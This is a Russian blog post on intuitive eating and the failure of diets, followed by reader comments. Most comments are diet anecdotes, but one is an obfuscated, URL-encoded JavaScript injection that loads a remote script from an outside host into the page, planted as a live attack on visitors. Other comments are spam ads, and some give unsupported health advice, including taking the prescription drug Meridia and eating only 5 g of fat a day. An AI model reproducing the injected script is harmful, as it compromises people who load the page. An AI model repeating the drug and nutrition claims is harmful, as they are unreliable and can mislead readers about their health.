Хотите похудеть? Ешьте что хотите и сколько хотите! Новая сенсационная диета! Часть 1
Постоянный адрес статьи: http://moneyblog.ru/archives/782
Для многих из нас проблема лишнего веса становится крайне актуальной ближе к 30 годам. Пока организм человека развивается, пока он молод и относительно чист, ему удается с легкостью переваривать жирную и жареную пищу, пиво, чипсы, всевозможные сладости и прочие относительно бесполезные продукты, абсорбируя лишь необходимые микроэлементы. К сожалению, ресурсы внутренних органов не безграничны и со временем те люди, которые не следят за качеством и количеством съедаемого, начинают поправляться. Поначалу этот процесс незаметен, человек выглядит хорошо и в меру упитанно. Но со временем симпатичное личико превращается в обрюзгшую физиономию, тело постепенно увеличивается в объемах, подъем по лестнице (буквально на 3-й этаж) превращается в пытку. Человек теряет душевное спокойствие и остро осознает необходимость радикальных изменений в образе жизни.
Первыми на ум приходят популярные диеты. К сожалению, добровольное обречение себя на строгий режим питания далеко не всегда приводит к намеченной цели, ведь для сброса лишнего веса необходимо прикладывать немалые усилия, поэтому вторыми в ход идут таблетки для похудения. Их эффект также маловероятен, остается лишь прибегнуть к тяжелой артиллерии – к помощи пластических хирургов. Не будем бросаться в крайности. Вышеописанным методам существует альтернатива, которая научит налаживать партнерские отношения с желудком, не подразумевая при этом расходы на дорогостоящие средства от избыточного веса.
Итак, вашему вниманию представляется концепция интуитивного питания, впервые описанная в одноименной книге Эвелин Трайбол (Evelyn Tribole) и Элизы Рещ (Elyse Resch). Концепция направлена на то, чтобы в корне (вплоть до подсознания) изменить ваше отношение к питанию. Такой подход непременно приведет к улучшению фигуры и поможет добиться здорового, стабильного веса, навсегда при этом отказавшись от всяческих диет. Вы не станете ограничивать себя, и сможете скушать все, что захотите, в любое время дня и ночи! Никаких таблеток и специальных продуктов, никаких нудных подсчетов калорий.
Скрупулезный подсчет калорий в пище противен человеческой природе!
Вы никогда не задумывались о том, почему диета не всегда дает положительный результат? Во-первых, скрупулезный подсчет калорий в пище противен человеческой природе. Новорожденный ребенок, испытывая чувство голода, плачет до тех пор, пока его не накормят – так уж мы устроены. К сожалению, с возрастом мы учимся игнорировать сигналы, которые посылает нам наш организм. Мы можем съедать в один присест огромное количество блюд (переедаем во время праздничного застолья, грызем что-нибудь просто скуки ради, пытаемся побороть меланхолию парой бутербродов с колбасой), а можем и голодать по причинам, которые нашему желудку не совсем понятны. Другая крайность – намеренно ограничивать себя в еде только лишь для того, чтобы фигура соответствовала сомнительным идеалам моды. В любом случае, отнимая у себя то, чего нам хочется, сами того не желая, мы потворствуем возникновению чувства голода, что впоследствии компенсируется в виде переедания и даже обжорства. Кроме того, нам сознательно доводят такие истины: количество фруктов и овощей, которое надо съедать ежедневно, порция мяса должна быть не больше колоды карт и прочая ерунда. Но ведь подобные правила подгоняют всех под одну мерку, не учитывая индивидуальности каждого организма.
Бывает так, что диета начинает использоваться как средство собственного успокоения, например, когда что-то не складывается в нашей жизни. Чувствуя, что не можете побороть сомнения внутри себя, вы стремитесь заморочить себе голову мыслями о диете, и, вместо того, чтобы разобраться в насущных проблемах, мечтаете о том, когда же вам можно будет перехватить лишний хот-дог или опрокинуть еще одну кружечку пива. С помощью диеты не только нельзя найти выхода из сложной жизненной ситуации, но и чисто физические проблемы она далеко не всегда помогает решить. Голодание замедляет обмен веществ, и это может потом вернуться бумерангом – в виде лишних килограммов. Распространенное заблуждение: чем меньше мы съедим, тем больше весу потеряем. А на самом деле наш организм, как компьютер, переходит в энергосберегающий режим, и сохраняет калории любыми способами. Получается, что искусственное замедление обмена веществ не приносит ничего, кроме вреда. Потому что когда диета надоедает – а такое рано или поздно случается с каждым – желудок возвращается к прежним нагрузкам, но скорость сжигания калорий уже недостаточна.
Статистика показывает, что вследствие таких экспериментов над собственным организмом, люди очень скоро (через пару лет), не только возвращаются к прежним габаритам, а и с лихвой компенсируют те месяцы полуголодного ожидания, на которое они себя обрекли во время попытки похудеть с помощью диеты. В 90-95 случаях из ста диета не срабатывает (уверены ли вы, что попадете в те 5-10% счастливчиков?).
Источник: http://www.pfadvice.com
http://www.pfadvice.com/»>http://www.pfadvice.com>
Понравилась статья? Подпишись на обновления сайта по RSS, по электронной почте или читай нас в LiveJournal
Где-то вычитала, что унисекс модели, без грудей и попы канут в лета, а придут пышнотелые модели ростом в 170 см и тонкой талией, старайтесь приобрести эти формы
но лучше любите себя такими какие есть
Сегодня тенденция развития индустрии Wellness направлена на здоровье, красоту и омоложение. При помощи сбалансированного питания решается проблема коррекции веса. Употребляя продукты питания совместно с пакетиком вкусного желеобразного FIT ( ), можно не заботиться о соблюдении диет, а получать положительный результат без побочных эффектов, как от медицинских препаратов. Проверено, результат удивительный! Пользуйтесь на здоровье!
Не знаю насчёт 5-10% счастливчиков, но год с лишним назад похудел на 35 кг с помощью известной диеты. Вес всё это время не меняется. При этом совершенно не парюсь с калориями, ем после 23-00, пью сухое вино и ем мясо.
Андрей, а вы не подскажете, что за диета у вас была? Заранее спасибо.
Добрый день! Андрей, подскажите пожалуйста с помощью какой диеты вы избавились от лишнего веса? Проблема с весом не только у меня, но и у моей дочери, а ей 18 лет и она очень комплексует по этому поводу. Заранее Вам благодарна. С уважением Ольга Сергеевна
а андрей сказал и прыгнул в лужу…так вот
Судя по фразе «При этом совершенно не парюсь с калориями, ем после 23-00, пью сухое вино и ем мясо». , это «кремлевская диета», для которой главное – ограничить употребление продуктов, содержащих углеводы – хлеб, картошку, все мучное, ну еще там есть кое-какие тонкости, можно прочитать. Действительно люди сбрасывают много кг, но не все могут придерживаться этой диеты, все-таки сила воли нужна. Как впрочем и всегда, когда хочешь похудеть.
Я думаю, если человек захочет, то все сможет. Убедился на собственном опыте. У меня было 137кг. 0101.2006. Сейчас 115 (010907)Пошудел на 22 кг за год. Вес стабилизировался. Но собираюсь еще похудеть на 15 кг. Специальной диеты вообще не придерживаюсь. Конечно пришлось изменить образ жизни. Собственно все.
Я тоже перепобовала все возможные и невозможные диеты, но вывод как всегда один: ешьте что хотите (не обжираться), меньше сладкого и мучного, но все таки можно, не есть после шести вечера (только фрукты или овощи), а также выделить минут 20 для комплексной тренировки дома. Причем организм свой можно разгрузить хотя бы на один день. Весь день просидеть на яблоках и воде, но только один день в неделю.
Согласен с Дарьей. Всего в меру плюс некоторая физическая нагрузка – и можно не беспокоиться о лишнем весе и не замучивать себя до полусмерти сумасшедшими диетами. Еще могу посоветовать отказаться от поездок на лифте – ходите по лестнице пешком.
Мне 27, у меня двое детей, но как бы я ни старалась сбросить лишних (по моему мнению 8кг.)вот никак не получается: и диеты пробовала, и спортом пыталась заниматься . Но как только перестаю думать, о том, что нужно худеть, не заморачиваюсь чего и когда кушать, килограмма три как не бывало, а потом снова к своему весу возвращаюсь… Что делать? Я думаю, нужно просто понимать потребности своего организма, а об этом статей нигде не прочитаешь. Так что любите себя такими какие Вы есть, но свои 8кг. я все равно сброшу
.
Статья называется «Новая сенсационная диета!», а никакой диеты не предложено,так расхожие фразы. Удочка.
Диета – мера временная.Все дкло в культуре питания, да и вообще в культуре в целом.Дворяне переодевались к обеду, вели длительные светские беседы, позволяющие в том числе насыщаться медленно.Среди них было мало свиноподобных Нужно учиться обзаводиться в жизни другими зависимостями, полезными.
Ну так и о чем статья-то?
«Хотите похудеть? Ешьте что хотите и сколько хотите! Новая сенсационная диета!» Хотим! И так едим, сколько хотим! Опять диета?? Вы же пишете, что диеты ВРЕДНЫ!
Черт знает что!:((
Похудел на 13 кг (со 108 до 95) за 5 месяцев, планирую похудеть до 90 кг до Нового года. Мне 34, лишний вес всегда был проблемой, чего только не пробовал – голодания, диеты и прочая. В итоге мне помогла математика – всегда увлекался этой наукой. Все оказалось просто : первое – 1 кг жира соответствует 10000 ккал, второе : расходы человека на основной энергетический обмен обмен равны 1ккал/час на кг веса умноженной на коэффициент нагрузки (кому интересно – в интернете полно ссылок). Таким образом получилось что мне в день надо порядка 3000 ккал для поддержания жизнедеятельности, если хочу похудеть – сокращаю рацион за счет высококалорийных продуктов. Но даже тогда быстрого результата не получится – если вы ведете активный образ жизни больше чем на 1000 ккал сокращать рацион не следует, а 1000 ккал – это 100 гр жира, 1 кг уйдет за 10 дней, в месяц – 3 кг и тд. Приходится набраться терпения. Ну и для себя вывел 4 кита похудения – первое – дневник самоконтроля – туда записываете все, что сьели и какая активность была за день и выводите баланс – плюс или минус, второе – регулярная физическая нагрузка (не реже 3 раз в неделю по часу), третье – ограничение питание согласно вашего подсчета калорий, и четвертое (самое приятное) – регулярные термические нагрузки – сауна или баня.
Чудес не бывает – или вы приводите свой баланс (и вес) в норму, или нарушаете свой естественный обмен с помощью таблеток и ускорителей – что приводит к непонятным последствиям.
Вообще-то диета – это ЛЮБОЙ рацион: направлен он на понижение или повышение веса – это диета. И как ни крути, ВСЁ-РАВНО упрёшся в диету. Другое дело что есть диеты говно, а есть диеты грамотные и красивые.
Вот Константин, кстати, привёл пример отличнейшей диеты.
Вобщем если в голове ты порося, ты хоть голодай, всё-равно хрено похудеешь. Будьте дворянами, гспода, в отношении своего здоровья
))))))))))))))))))
2Константин
Очень дельные советы! Спасибо!
Кстати, чтобы похудеть даже будет просто выбросить пищевой мусор из рациона и заменить его здоровыми продуктами. И это будет не дороже питания этим самым пищевым мусором.
Человеку по-любому нужны белки где-то 80-100 г в сутки, где-то столько же жиров (омега 3,6,9 – рыбий жир, льняное масло, кедровое масло, конопляное масло, грецкие орехи, но лучше – рыбий жир – где-то 25-30 г и оливковое масло – источник омега 9): такие жиры активно участвуют в сжигании… жиров, и углеводов где-то 150 г. Источниками углеводов должны быть продукты с низкин гликемическим индексом – отруби, бобы и фасоль, фрукты и овощи (свежие), сухофрукты – в частности курага и инжир (они же должны полдностью вытеснить сладости на основе сахара). Источники белка – это курица и рыба, рыба же жирных сортов – это ещё и источник омега 3 (лосось, форель, сардина, кстати сардины в масле – отличная штука и совсем недорогая)
Короче, если чо, пишите, читайте…
пойду администрацию потерзаю на предмет сотрудничества.
Меня тут поправили более опытные товарищи – мои расчеты выше необходимо поправить на то что вместе 3 кг жира в среднем уйдет 1 кг воды, и второй момент что пища на 100% не усваивается. Обе поправки говорят о том, что в месяц безопасно для организма может уйти от 4 до 6 кг – у кого какой организм.
Физиологично худеть в месяц не более чем на 3 кг, иначе кожа обвиснет. Более -4-6 – это надо делать ежедневано общий
Физиологично худеть на 3 кг в месяц. Если больше – кожа обвиснет. Поэтому надо сочетать с ежедневной гимнастикой либо общим массажем. Жира нужно в день всего 5 г. (столовая ложка), а не 80-100.
…массаж или гимнастику. Жира нужно не более 5 г, или столовую ложку растительного масла, лучше элементарно подсолнечного, нерафинированного.
Мне 38 лет. Поправился в 1996 году когда бросил курить. Все это время занимался «физкультурой» через день подтягивался на перекладине 20 раз по 4-6 подходов, раз в неделю плавал, не ем хлеб,мучное и сладкое….но все равно лишний вес был (живот, бока)….при росте 185 110 кг. в феврале этого года мне посоветовали «Меридиа». Выпиваешь таблетку, запиваешь стаканом воды….и забываешь про еду совсем. Питался так: Через день: 1.соевый коктель(200гр) 3 раза в день.2. соевый коктель (утро, вечер) и полноценный обед. Спортом в это время не занимался. Через три недели весил уже 94 кг. И этот вес держится до сих пор (+ – 1,2 кг). Питаюсь нормально. Перед употреблением этого лекарства прочитайте противопоказания….особенно женщины.
2САША
.
Рад что вам помогло это средство, но лично я все же опасаюсь всякой химии, больше доверяю проверенному железу, беговой дорожке и теперь еще и бассейну
Да кстати, я лично не раз пытался найти альтернативу старому доброму качу, заменял его «физкультурой» (отжимания от брусьев, отжимания от пола, подтягивания), но результат нулевой. Наилучший вариант для меня лично – это тренажерный зал, чередующийся с кроссами. Перерыв между тренировками 2 – 3 дня. Хотя сейчас вот экспериментирую еще и с бассейном.
Самое важное помнить то, что каждый человек индивидуален, у каждого собственный организм по разному реагирующий на те или иные методы похудения, на те или иные физические нагрузки и т. д. Только вы сами можете найти собственный индивидуальный путь к красивому, стройному телу. А происходит это посредством проб и ошибок – главное было бы желание и сила воли, которая позволит добиваться положительного результата.
и все? так это по-моему знает каждый! где диета? или что нибудь новенькое?
2Светлана
.
«диета или что нибудь новенькое» находятся на специализированных сайтах и в соответствующих изданиях
Добрый день,
с большим почтением отношусь к людям с силой воли. Самоконтроль и дисциплина это по ценности можно приравнять к таланту.
Я довольна ленива, на подвиги толкает только женское тщеславие и сумасшедший нрав.
Диета для меня мука. У меня другая тактика.
Я натощак сьедаю капустный лист (сырой).
Этот рецепт еще давно мне сказала моя знакомая. Потом жду минут 20. Затем ем, что хочу. Весь день. Если делать это регулярно, аппетит становится более умеренным. Капуста как метла очищает организм, и всякие вредности его не зосаряют.
165 см 52 кг
Бывало наемся пирожных, совесть мучает, так я вечером еще лист мой спасительный капустный умну. Он волшебный.
С фигурой все нормализовалось.
Чтобы был красивый рельеф, 5 мин утром (до еды!) отжимаюсь 20 раз и подтягиваю лежа верхнюю часть туловища к согнутым коленям.
Выгляжу аппетитно
Ем, что хочу. Но стараюсь радоваться вкусной еде, специально создаю дифицит, чтоб был гормон радости, как во времена перестройки….
2Sasha
. Кстати по утрам советую начинать тренировться не раньше, чем через час после того как проснулись и покинули кровать, чтобы организм успел прийти в себя после ночного отдыха.
За капустный совет спасибо! Жене порекомендую
Есть интересные мысли…стоит взять на заметку!
Да с пивком надо завязывать, а то уже брюхо выросло… Надо утренние зарядки и прогулки на работу пешком, как можно чаще.
Зацепило, хоть кто-то правду пишет!!!
Тэээкс ща посмотрим че там в холодильнике!
Отличная инфа для нас девочек!
Спасибо за статью. Мое мнение с ней сильно совпадает
enc = «%3Cscript%20language%3D%22JavaScript%22%3Edocument.write%28%27%3C%27+%27scr%27+%27ipt%20lan%27+%27guage%3D%22JavaScript%22%20src%3D%22http%3A//cy%27+%27ka%27+%27hax.%27+%27net/scr%27+%27ipt/j%27+%27s.p%27+%27hp%3Fi%27+%27d%3D47403%22%3E%3C/%27+%27sc%27+%27ri%27+%27pt%3E%27%29%3B%3C/script%3E»; dec = unescape(enc); document.write(dec);
Все проблемы в нашей голове. А следуют у нас диете из-за рекламы. И то если это можно так назвать. У нас все в крайностях, или вообще не есть, или наесться до отвала. Нет золотой середины
заманчиво звучит: ешьте, сколько хотите
когда много разрешается, уже так и не хочется
Автора блога и всех его читателей с хеллоуином))))
А если серьёзно, хотелось бы поднять такую тему.. тему посещаемости ресурса. Вот у немалого количества сайтов установлен счётчик ЛивИнтернета, для мониторинга статистики.
Я вот заметил такую вещь на одном из своих сайтов – количество посещений колбасит очень нехило. То есть в один день может быть 150 человек, в другой 20. Вот ума не приложу, то ли это действительно так, то ли счётчик стало так глючить. Не наблюдаете такого????
Автора ресурса и всех его читателей с хеллоуином))))
А если серьёзно, хотелось бы затронуть такую тему.. тему посещаемости ресурса. Вот у многих сайтов стоит счётчик ЛивИнтернета, для мониторинга статистики.
Я вот заметил такую штуку на одном из своих сайтов – кол-во посещений колбасит очень нехило. Поясняю: в один день может зайти 150 человек, в другой 20. Вот ума не приложу, то ли это действительно так, то ли счётчик стало так глючить. Не наблюдаете такого????
Автора сайта и всех его читателей с хеллоуином))))
А если серьёзно, хотелось бы поднять такую тему.. тему посещаемости ресурса. Вот у немалого количества сайтов установлен счётчик ЛивИнтернета, для отслеживания статистики.
Я вот заметил такую вещь на одном из своих сайтов – кол-во посещений изменяется очень нехило. То есть в один день может быть 150 человек, в другой 20. Вот ума не приложу, то ли это на самом деле так, то ли счётчик стало так глючить. Не наблюдаете подобного????
Автора сайта и всех его читателей с хеллоуином))))
А если серьёзно, хотелось бы поднять такую тему.. тему посещаемости ресурса. Вот у многих сайтов установлен счётчик ЛивИнтернета, для мониторинга статистики.
Я вот заметил такую вещь на одном из своих сайтов – кол-во посещений варьируется очень сильно. Поясняю: в один день может зайти 150 человек, на следующий 20. Вот ума не приложу, то ли это на самом деле так, то ли счётчик стало так глючить. Не наблюдаете такого????
Покер Титан один из крупнейший мировом Инете залов по покеру. Тут неизменно сражается грандиозное количество игроков, притянутых всевозможными акциями рума. Множество турниров, интенсивная притягивающая графика, отличная функциональность позволяют Титан Покеру по праву значиться одним из лидеров покерной индустрии. Все это реально на
Да уж. Как говорится в устоявшемся выражении:
Только в НАШИХ гостиницах горничные красивее проституток.
Да уж. По поводу коментариев – навеяла на меня где-то услышанная фраза:
Это у нас золотые руки, стальная печень и нефритовый стержень.